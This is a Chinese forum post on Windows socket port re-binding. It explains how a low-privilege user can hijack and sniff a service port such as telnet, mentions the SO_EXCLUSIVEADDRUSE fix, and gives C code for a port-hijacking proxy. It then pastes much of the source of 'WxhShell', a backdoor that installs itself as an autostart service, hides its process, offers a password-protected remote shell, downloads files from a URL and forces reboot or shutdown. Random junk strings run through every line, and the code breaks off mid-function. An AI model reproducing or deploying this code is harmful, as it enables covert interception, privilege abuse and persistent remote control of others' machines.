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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MSRIG-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CEqfsKrsxE  
1hi^  
  saddr.sin_family = AF_INET; \&ERSk2  
GlQ=M ) E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (t<i? >p  
-7m;rD4J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k?|VFh1  
ScZ$&n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N;r,B  
rd%3eR?V  
  这意味着什么?意味着可以进行如下的攻击: d 'x;]#S  
8V=I[UF.1?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E<-}Jc1  
4zJ9bF4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "/ @ ;6   
KC q3S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (873:"(  
nfRo:@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D!qtb6<.  
n$#^gzU4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 % fA0XRM  
HAGWA2wQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b cz<t)  
Og30&a!~F  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xv4nYm9  
z)QyQ  
  #include i,;Q  
  #include }Z0)FU +  
  #include e<iTU?eJM  
  #include    q.Z0Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "=4=Q\0PT  
  int main() w$61+KHK  
  {  b$rBxe\  
  WORD wVersionRequested; zx=A3I%7 A  
  DWORD ret; @OwU[\6fc}  
  WSADATA wsaData; >6jy d{  
  BOOL val; R`TM@aaS:  
  SOCKADDR_IN saddr; _@?]!J[  
  SOCKADDR_IN scaddr; ag|d_;  
  int err; V!]e#QH;  
  SOCKET s; a`/[\K6  
  SOCKET sc; "UVV/&`o  
  int caddsize; t@4X(i0  
  HANDLE mt; 1DZGb)OU  
  DWORD tid;   u"C`S<c  
  wVersionRequested = MAKEWORD( 2, 2 ); TN/I(pkt1B  
  err = WSAStartup( wVersionRequested, &wsaData ); L d#  
  if ( err != 0 ) { 9&rn3hmP  
  printf("error!WSAStartup failed!\n"); b-~`A;pr  
  return -1; :4(7W[r6  
  } mUnn k`v  
  saddr.sin_family = AF_INET; yKDg ~zsh  
   2Q1* Xq{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v,g,c`BjK  
3b%y+?-{\u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W=F?+Kg L  
  saddr.sin_port = htons(23); [0)iY%^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eYsO%y\I  
  { W{ Nhh3  
  printf("error!socket failed!\n"); '-W p|A  
  return -1; Y;-"Z  
  } zg8m(=k'  
  val = TRUE; IXd&$h]Lq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~jF5%Gu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r"5]U`+  
  { $2;YJjz(  
  printf("error!setsockopt failed!\n"); pjbKMx  
  return -1; _|*3uGo:  
  } J fsCkS  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !H?#~{ W}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 jZm1.{[>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cC4*4bMm  
y6:=2(]w<p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `@Kh>K  
  { {/#?n["  
  ret=GetLastError(); atl0#FBd  
  printf("error!bind failed!\n"); IGv>0LOd@  
  return -1; V4V TP]'n  
  } "8{u_+_B*  
  listen(s,2); QKCk. 0Xe  
  while(1) y1k""75  
  { dzbzZ@y  
  caddsize = sizeof(scaddr); CHBCi) '6h  
  //接受连接请求 xwK<f6H!y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y*J`Wf(w  
  if(sc!=INVALID_SOCKET) d/R:-{J)c  
  { 9RR1$( f  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~^Vt)/}Q  
  if(mt==NULL) HnOp*FP  
  { kw=+"U   
  printf("Thread Creat Failed!\n"); A:NsDEt  
  break; 8i X?4qj{P  
  } N15{7 ,   
  } 1s!hl{n<~  
  CloseHandle(mt); H6'xXS  
  } QD"V=}'?  
  closesocket(s); Q@]#fW\Y  
  WSACleanup(); M%9PVePOe  
  return 0; k}jH  
  }   ~!)_3o  
  DWORD WINAPI ClientThread(LPVOID lpParam) )G*H l^Z;4  
  { eJ7A.O  
  SOCKET ss = (SOCKET)lpParam; 3n6_yK+D  
  SOCKET sc; *h-nI=  
  unsigned char buf[4096]; )5yZSdA  
  SOCKADDR_IN saddr; tQ=U22&7  
  long num; Gi;e Drgj~  
  DWORD val; }Qg9l|  
  DWORD ret; B8w 0DJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $:mCyP<y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }.` ycLW'  
  saddr.sin_family = AF_INET; . 1?AU 6\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WOgbz&S?J  
  saddr.sin_port = htons(23); v\\Z[,dK  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9LCV"xgX  
  { ]^aece t  
  printf("error!socket failed!\n"); -V4@BKI8  
  return -1; $C^94$W  
  } S=M$g#X`5  
  val = 100; &x;v&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <R]?8L0{h  
  { B8B^@   
  ret = GetLastError(); ^>k[T.  
  return -1; gX6'!}G8]  
  } m_(+-G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WW==  
  { =xa`)#4(  
  ret = GetLastError(); :X2B+}6_&  
  return -1; d \0K 3=h  
  } c67O/ B(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ak>RLD25_  
  { =X-$k k  
  printf("error!socket connect failed!\n"); 0~n= |3*P  
  closesocket(sc); ^HC! my  
  closesocket(ss); iFga==rw  
  return -1; jC; XY!d6  
  } ^$rt|]  
  while(1) O6boTB_2  
  { 6OIA>%{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7jEAhi!Cq(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 VWbgusxJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B`T9dL[E4  
  num = recv(ss,buf,4096,0); c#U x{^ZE  
  if(num>0) r1F5&?{q  
  send(sc,buf,num,0); MO/l(wO  
  else if(num==0) .Jou09+  
  break; |$6Gp Aq!  
  num = recv(sc,buf,4096,0); PT>,:zY  
  if(num>0) #pOW2 Uj8\  
  send(ss,buf,num,0); &/a/V  
  else if(num==0) V&\ZqgDF  
  break; c;wt9J.f  
  } w3,QT}WvY  
  closesocket(ss); PksHq77  
  closesocket(sc); lc[\ S4  
  return 0 ; Kd^ ._  
  } 9J l9\y9  
( 8H "'  
F>!fu.Ws  
========================================================== >Q"eaJxE!l  
kk^KaD4dA  
下边附上一个代码,,WXhSHELL p/SJt0  
Q,)G_lO  
========================================================== aD%")eP%&  
X0P<ifIv  
#include "stdafx.h" Pm" ,7  
L;grH5K5  
#include <stdio.h> 9)mJo(  
#include <string.h> AL,|%yup  
#include <windows.h> 5TzMv3;in2  
#include <winsock2.h> kO/dZ%vj  
#include <winsvc.h> Av+R~&h  
#include <urlmon.h> ~~wz05oRG  
Z(.p=Wg  
#pragma comment (lib, "Ws2_32.lib") l|5ss{llR  
#pragma comment (lib, "urlmon.lib") *3. ]  
mlIc`GSI  
#define MAX_USER   100 // 最大客户端连接数 0 ,Bd,<3  
#define BUF_SOCK   200 // sock buffer &({X9  
#define KEY_BUFF   255 // 输入 buffer ihs@ 'jh  
b:W]L3Z8  
#define REBOOT     0   // 重启 C 5)G^  
#define SHUTDOWN   1   // 关机 /UM9g+Bb  
H-0deJ[>  
#define DEF_PORT   5000 // 监听端口 ]TD]    
!k%Vw1 8  
#define REG_LEN     16   // 注册表键长度 hM+nA::w  
#define SVC_LEN     80   // NT服务名长度 s )_sLt8?  
bzB9u&  
// 从dll定义API @I_ A(cr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rS6iZp,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MhJq~G p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]$KH78MTW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /5zzzaj {  
W\FKA vS  
// wxhshell配置信息 [,G]#<G?q  
struct WSCFG { KHdj#3<AR  
  int ws_port;         // 监听端口 K;S&91V)=  
  char ws_passstr[REG_LEN]; // 口令 CDR^xo5 dP  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2u#{K9g  
  char ws_regname[REG_LEN]; // 注册表键名 +O9l@X$l=  
  char ws_svcname[REG_LEN]; // 服务名 X @r5^A[9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QWfwoe&;R:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rpy`Wz/[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SE%i@}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Gvj@?62  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >TK`s@jdSV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [o> /2  
pE15[fJ`  
}; yh lZdF  
scN}eg:5  
// default Wxhshell configuration 2lXsD;[  
struct WSCFG wscfg={DEF_PORT, 4}#*M2wb  
    "xuhuanlingzhe", J& yDX>  
    1, ];j8vts&  
    "Wxhshell", A\k-OP]  
    "Wxhshell", OJ] {FI  
            "WxhShell Service", n |.- :Zy  
    "Wrsky Windows CmdShell Service", AE^&hH0^  
    "Please Input Your Password: ", M> 1V3 sM  
  1, b%T-nY2  
  "http://www.wrsky.com/wxhshell.exe", kZf7  
  "Wxhshell.exe" AGOK%[[Ws  
    }; }2DeqY  
GTJ\APrH  
// 消息定义模块 M`iJ6L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qfN<w&P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vWzNsWPK"{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LF{qI?LG  
char *msg_ws_ext="\n\rExit."; )pJ}o&J  
char *msg_ws_end="\n\rQuit."; P),%S9jP;  
char *msg_ws_boot="\n\rReboot..."; NL2n\%n  
char *msg_ws_poff="\n\rShutdown..."; H+_oK ]/  
char *msg_ws_down="\n\rSave to "; x"U/M ?l  
QT^( oog=  
char *msg_ws_err="\n\rErr!"; I]ywO4  
char *msg_ws_ok="\n\rOK!"; zXZy:SD  
:sM|~gT  
char ExeFile[MAX_PATH]; lL%7lO   
int nUser = 0; G{ F>=z"(l  
HANDLE handles[MAX_USER]; kZF\V7k  
int OsIsNt; {TUCa  
]P]lG-  
SERVICE_STATUS       serviceStatus; c3oI\lU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xAz gQ  
^W#[6]S  
// 函数声明 A+ Z3b:}~  
int Install(void); $W` &7  
int Uninstall(void); cF,u)+2b|6  
int DownloadFile(char *sURL, SOCKET wsh); D {>, 2hC  
int Boot(int flag); }L:LcM  
void HideProc(void); nLT]'B]$ +  
int GetOsVer(void); LhV4 ^\+  
int Wxhshell(SOCKET wsl); ki}Uw#  
void TalkWithClient(void *cs); G|Q}.v  
int CmdShell(SOCKET sock); 5nf|CQH6?  
int StartFromService(void); 0@3g'TGl  
int StartWxhshell(LPSTR lpCmdLine); 9YB~1 M  
\^':(Gu4o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lWnV{/q\X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TSE(Kt  
xZ4\.K\f]  
// 数据结构和表定义 >+1^XeeS  
SERVICE_TABLE_ENTRY DispatchTable[] = V<ODt%  
{ o{>hOs &  
{wscfg.ws_svcname, NTServiceMain}, 5)&e2V',y  
{NULL, NULL} vP&*(WfO)  
}; ?86h:9  
Bg7?1m  
// 自我安装 )Q7;)iPY#  
int Install(void) Hk3HzN 3  
{ 9chiu%20  
  char svExeFile[MAX_PATH]; Q"Q|]f*  
  HKEY key; q@Q|oB0W$)  
  strcpy(svExeFile,ExeFile); unjo&  
;x+4jpH]B  
// 如果是win9x系统,修改注册表设为自启动 Fi*6ud\n!  
if(!OsIsNt) { r@s, cCK9?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Km\M /j|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !M3IuDN  
  RegCloseKey(key); :!{aey  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AO^F6Y/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y^3tk}yru  
  RegCloseKey(key); XXe7w3x{  
  return 0; `.[hOQ7  
    } i.K}(bo;b  
  } UP,0`fh(y  
} T_YN^za(q  
else { UPJgTN*  
Q5ohaxjF  
// 如果是NT以上系统,安装为系统服务 S5bk<8aPP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KHF5Nt  
if (schSCManager!=0) ;O5NZa!.73  
{ j7"E0Wc^o_  
  SC_HANDLE schService = CreateService 9(u2jbA  
  ( 'HOcK8}b  
  schSCManager, E*RP8  
  wscfg.ws_svcname, ?]5wX2G^|J  
  wscfg.ws_svcdisp, /0@}7+&  
  SERVICE_ALL_ACCESS, q+ )KY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :4)mv4Q  
  SERVICE_AUTO_START, w8{deSdfP  
  SERVICE_ERROR_NORMAL, :q6hT<f;  
  svExeFile, &TC  
  NULL, r Ld,Izi  
  NULL, FVF: 1DT  
  NULL, 2hU4g e?6  
  NULL, frGUT#9?n  
  NULL (S9"(\A  
  ); O7rm(  
  if (schService!=0) q{KRM\ooYs  
  { ~ RTjcE  
  CloseServiceHandle(schService); @h ^5*M  
  CloseServiceHandle(schSCManager); gdkO|x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p4aM`PW8>=  
  strcat(svExeFile,wscfg.ws_svcname); 5!y3=.j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fI}-?@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LJI&j \  
  RegCloseKey(key); I -;JDC?  
  return 0; sH+]lTSX6{  
    } Snh\Fgdz  
  } dcXtT3,kpX  
  CloseServiceHandle(schSCManager); i37W^9 R  
} U/jJ@8  
} +cj NA2@  
N#ex2c  
return 1; EH4WR/x  
} >@EQarD  
_Zb_9&  
// 自我卸载 FIG5]u  
int Uninstall(void) w(mn@Qc  
{ Kz^aW  
  HKEY key; @?gH3Y_  
I94;1(Cs%  
if(!OsIsNt) { F}.Af=<Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 39k P)cD  
  RegDeleteValue(key,wscfg.ws_regname); y/kCzDT,  
  RegCloseKey(key); kMwt&6wS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZE}m\|$  
  RegDeleteValue(key,wscfg.ws_regname); nNQ\rO  
  RegCloseKey(key); IP{Cj=  
  return 0; Bv9;q3]z-  
  } -B`;Sx  
} &s] s]V)  
} xn6E f"  
else { QjZ}*p  
NWoZDsu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T,H]svN5p  
if (schSCManager!=0) XP{ nf9&  
{ ;gW~+hW^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {P = {)  
  if (schService!=0) S63L>p|ml  
  { [hiOFmMJZ-  
  if(DeleteService(schService)!=0) { XM_S"  
  CloseServiceHandle(schService); h2tzv~  
  CloseServiceHandle(schSCManager); \zoJr)  
  return 0; iu:e>r  
  } )lW<: ?k  
  CloseServiceHandle(schService); VSSiuo'5w  
  } ;j52a8uE'}  
  CloseServiceHandle(schSCManager); nDPfr\\  
} }k ,Si9O  
} Ao]F_hZ  
0umfC  
return 1; "5YsBih  
} )<~b*^kl\  
+)F8YMg e  
// 从指定url下载文件 w}2yi#E[  
int DownloadFile(char *sURL, SOCKET wsh) dvxH:,  
{ /evh.S  
  HRESULT hr; 6: M   
char seps[]= "/"; ;aFQP:l/  
char *token; f{b"=hQ  
char *file; "+AeqrYYm5  
char myURL[MAX_PATH]; BS{">lPmx  
char myFILE[MAX_PATH]; R.RCa$  
&0o&!P8CB  
strcpy(myURL,sURL); v/m6(z  
  token=strtok(myURL,seps); i\ PN  
  while(token!=NULL) }y0UyOa{C  
  { #G\)ZheG  
    file=token; u{_T,k<!  
  token=strtok(NULL,seps); Y- w5S|!  
  } 2Nj0 Hqjq  
`bxgg'V  
GetCurrentDirectory(MAX_PATH,myFILE); r<0 .!j%c  
strcat(myFILE, "\\"); 0_Y;r{3m"  
strcat(myFILE, file); swJwy~  
  send(wsh,myFILE,strlen(myFILE),0); L'Wcb =;  
send(wsh,"...",3,0); `rM-b'D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ",K6zALJ  
  if(hr==S_OK) !X,=RR `zT  
return 0; H- S28%.  
else c5]1aFKz  
return 1; &-{4JSII  
a(<nk5  
} iKdC2m  
sNNt0q(  
// 系统电源模块 B,A/ -B\  
int Boot(int flag) x JepDCUJ>  
{ 19lx;^b  
  HANDLE hToken; {0[qERj"z  
  TOKEN_PRIVILEGES tkp; XCk \#(VSE  
>uI|S  
  if(OsIsNt) { /njN*rhx&Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5jbd!t@L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'g$|:bw/  
    tkp.PrivilegeCount = 1; u9?85  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Iw48+krm>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N7[i443a  
if(flag==REBOOT) { pfZxG.l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0chBw~@*s  
  return 0; 7?F0~[eGG  
} 4|*_mC  
else { xKIm2% U9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m'a3}vRV(  
  return 0; \N!k)6\  
} F9Mv$ g79  
  } sl`\g1<{`  
  else { Xd{"+'29  
if(flag==REBOOT) { $Y>LUZ)b&8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8Kv=Zp,?`  
  return 0; yfi.<G)S  
} (L q^C=  
else { Azu$F5G!n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qd(`~a  
  return 0; z0doL b^!  
} }oloMtp$  
} ECQ>VeP  
U%"v7G-  
return 1; _0ep[r  
} t13wQ t  
tP7l ;EX4  
// win9x进程隐藏模块 ^!?W!k!:V  
void HideProc(void) "1WwSh}Z  
{ #2/k^N4r  
T =_Hd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #r>  
  if ( hKernel != NULL ) Y!"LrkC  
  { 9qIjs$g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); / 9^:*,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~X)Aw 3}F  
    FreeLibrary(hKernel); 0%#ZupN  
  } ]u G9WT6l  
yC(xi"!  
return; Y{6y.F*Q#  
} QS\H[?M$  
w<*6pP y  
// 获取操作系统版本 +VCG/J  
int GetOsVer(void) #px74EeI\  
{ y)CnH4{  
  OSVERSIONINFO winfo; Hj2E-RwG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s<h]2W  
  GetVersionEx(&winfo); T2Ms/1FH/@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) { ZrIA+eH  
  return 1; h3[^uY e  
  else K!=Y4"5%  
  return 0; a=]tqV_  
} N7=lSBm  
w|lA%H7`J  
// 客户端句柄模块 e5W 8YNA  
int Wxhshell(SOCKET wsl) W+k SL{0  
{ #R-l2OO^]  
  SOCKET wsh; A]c'`Nf  
  struct sockaddr_in client; @FO= 0_;y  
  DWORD myID; )O;6S$z9Y  
 vtk0 j  
  while(nUser<MAX_USER) $3psSQQo  
{ 14Y_ oH9  
  int nSize=sizeof(client); {(Jbgsxm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #Ie/|  
  if(wsh==INVALID_SOCKET) return 1; aQzx^%B1  
KxhMPvN'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +-"uJIwMD  
if(handles[nUser]==0) ;&RBg+Pr  
  closesocket(wsh); %{Ib  
else "MM)AY*b  
  nUser++; <A@}C+  
  } (#KSwWo{ed  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (JenTL`%u  
rvfS[@>v  
  return 0; 76epkiz;=  
} %k3A`ClW  
$S(<7[Z  
// 关闭 socket "Tt5cqUQoY  
void CloseIt(SOCKET wsh) PuO5@SP~  
{ w5Lev}Rb  
closesocket(wsh); uW;[FTcqy$  
nUser--; > oh7f|  
ExitThread(0); f"9aL= 3  
} 2PZ#w(An&  
'vCl@x$  
// 客户端请求句柄 EC;R^)  
void TalkWithClient(void *cs) |2AMj0V~  
{ 6,Z.R T{5  
Mj!\EUn  
  SOCKET wsh=(SOCKET)cs; ~xPU#m<  
  char pwd[SVC_LEN]; -A1@a= q  
  char cmd[KEY_BUFF]; aN UU' [  
char chr[1]; Q%>6u@'  
int i,j; D`hl}  
C}jFR] x)  
  while (nUser < MAX_USER) { l/xpAx  
qL2!\zt>g  
if(wscfg.ws_passstr) { <Fo~|Nh|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7up~8e$_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T:/mk`>  
  //ZeroMemory(pwd,KEY_BUFF); Oz{FM6  
      i=0; Z; 6N7U  
  while(i<SVC_LEN) { d%,@,>>)  
uE &/:+  
  // 设置超时 Y' FB {  
  fd_set FdRead; 80_}}op ?8  
  struct timeval TimeOut; d#(ffPlq  
  FD_ZERO(&FdRead); +,c]FAx4  
  FD_SET(wsh,&FdRead); MZd?cS  
  TimeOut.tv_sec=8; Dbl3ef  
  TimeOut.tv_usec=0; Nb3uDA5R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WQiIS0BJ *  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^tF lA)  
[b:0j-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3QhQpPk) ,  
  pwd=chr[0]; R,8 W7 3  
  if(chr[0]==0xd || chr[0]==0xa) { TGDrTyI?y  
  pwd=0; Yj"{aFK#u@  
  break; nixIKOnjC  
  } >q&X#E<w  
  i++; D]=V6l=  
    } b9R0"w!ml  
PRal>s&f  
  // 如果是非法用户,关闭 socket j82x$I*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zFi)R }Ot  
} W\EvMV"  
4|/}~9/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8hV>Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xp*Wf#BF  
A1Es>NK[qW  
while(1) { XOL_vS24  
Suo%uD  
  ZeroMemory(cmd,KEY_BUFF); PiIP%$72O  
##6u  
      // 自动支持客户端 telnet标准   s|vx2-Cu]  
  j=0; Egt !N  
  while(j<KEY_BUFF) { #g#[|c.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f4;V7DJ  
  cmd[j]=chr[0]; Z~AgZM R  
  if(chr[0]==0xa || chr[0]==0xd) { 1lYQR`Uh  
  cmd[j]=0; $Sgq7  
  break; PO nF_FC  
  } RF}R~m9]  
  j++; <:>[24LJ{  
    } b5)1\ANq  
C1==a FD  
  // 下载文件 Q_6v3no1  
  if(strstr(cmd,"http://")) { BU<Qp$ &  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $9@3dM*E?Z  
  if(DownloadFile(cmd,wsh)) PDpuHHB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GYrUB59  
  else $sFqMy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #AH gY.  
  } l0r^LK$  
  else { B{K_?ae!  
g;~$xXn  
    switch(cmd[0]) { .U#oN_D  
  P>EG;u@.  
  // 帮助 KK?R|1VK9  
  case '?': { u p zBd]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V]Kk =  
    break; 0DaKd<Scv  
  } 0 s@>e  
  // 安装 D}rnp wp{  
  case 'i': { N C3XJ 4  
    if(Install()) bg2r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vt#&YXu{A  
    else zmg :Z p=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1()pKBHf  
    break; T"e"?JSRJ  
    } )TcD-Jr  
  // 卸载 4D[(X=FSU  
  case 'r': { !jR 1!i   
    if(Uninstall()) p'kB1)~|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `j4OKZ  
    else h ^Wm03w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )_kU,RvZ  
    break; m'KEN<)s  
    } ll ^I ;o0  
  // 显示 wxhshell 所在路径 jA3xDbM  
  case 'p': { 3F9dr@I.7  
    char svExeFile[MAX_PATH]; lQL /I[}  
    strcpy(svExeFile,"\n\r"); B$G9#G6pZ  
      strcat(svExeFile,ExeFile); h^f?rWD:nz  
        send(wsh,svExeFile,strlen(svExeFile),0); x|*m ok  
    break; * Na8w'Q  
    } K8uqLSP '  
  // 重启 &23{(]eO  
  case 'b': { qgxGq(6K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :n OCs  
    if(Boot(REBOOT)) g6h=Q3@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;y;UgwAM  
    else { M1eM^m8U  
    closesocket(wsh); :m0 pm@  
    ExitThread(0); R=C+]  
    } "d*-k R  
    break; )%q )!x  
    } {3BWT  
  // 关机 s,j=Kym%  
  case 'd': { L-|u=c-6  
